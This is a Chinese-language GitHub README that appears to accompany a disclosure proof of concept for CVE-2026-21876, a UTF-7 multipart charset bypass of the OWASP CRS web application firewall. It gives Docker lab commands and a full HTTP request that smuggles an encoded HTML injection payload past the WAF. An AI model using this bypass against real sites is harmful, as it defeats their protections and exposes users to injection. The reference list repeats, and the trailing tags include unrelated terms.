daytriftnewgen/CVE-2026-21876
GitHub: daytriftnewgen/CVE-2026-21876
CVE-2026-21876 PoC,演示通过 UTF-7 编码绕过 OWASP ModSecurity CRS WAF 的 multipart 解析漏洞。
Stars: 4 | Forks: 1
# CVE-2026-21876 (OWASP CRS WAF 绕过)
CVE-2026-21876 docker 容器 + 最小化 PoC。
我要分别感谢 [@airween](https://github.com/airween) 和 [@fzipi](https://github.com/fzipi) 的快速响应!漏洞修复在很短的时间内就准备好了。
# 实验环境部署
```
~/CVE-2026-21876/modsec_stand1 main
> docker compose up --build
```
modsec 代理将部署在本地端口 8083,易受攻击的应用本身部署在端口 5000。
# PoC
```
POST /submit HTTP/1.1
Host: localhost
User-Agent: curl/8.17.0
Accept: */*
Origin: https://example.com
Content-Length: 367
Content-Type: multipart/form-data; boundary=------------------------cmOi6twNhVJDu76bOwDTVz
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=utf-7
+ADw-img+ACA-src+AD0-x+AD4-
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8
dummy
--------------------------cmOi6twNhVJDu76bOwDTVz--
```
`username` 值未针对未包含在白名单中的字符进行检查,这导致了 WAF bypass。
# Bypass 演示
# 相同的 payload 在此处被拦截
# 参考资料
- [Github 安全公告](https://github.com/coreruleset/coreruleset/security/advisories/GHSA-36fv-25j3-r2c5)
- [OWASP CRS 演练文章](https://coreruleset.org/20260106/cve-2026-21876-critical-multipart-charset-bypass-fixed-in-crs-4.22.0-and-3.3.8/)
# 参考资料
- [Github 安全公告](https://github.com/coreruleset/coreruleset/security/advisories/GHSA-36fv-25j3-r2c5)
- [OWASP CRS 演练文章](https://coreruleset.org/20260106/cve-2026-21876-critical-multipart-charset-bypass-fixed-in-crs-4.22.0-and-3.3.8/)标签:CISA项目, CRS WAF 绕过, CVE-2026-21876, Docker 靶场, Maven, Multipart 解析, OWASP ModSecurity, PoC, UTF-7 编码, WAF 绕过, Web 应用防火墙, 字符集混淆, 暴力破解, 漏洞复现, 漏洞验证, 版权保护, 网络安全, 网络安全审计, 规则集绕过, 请求拦截, 输入验证绕过, 隐私保护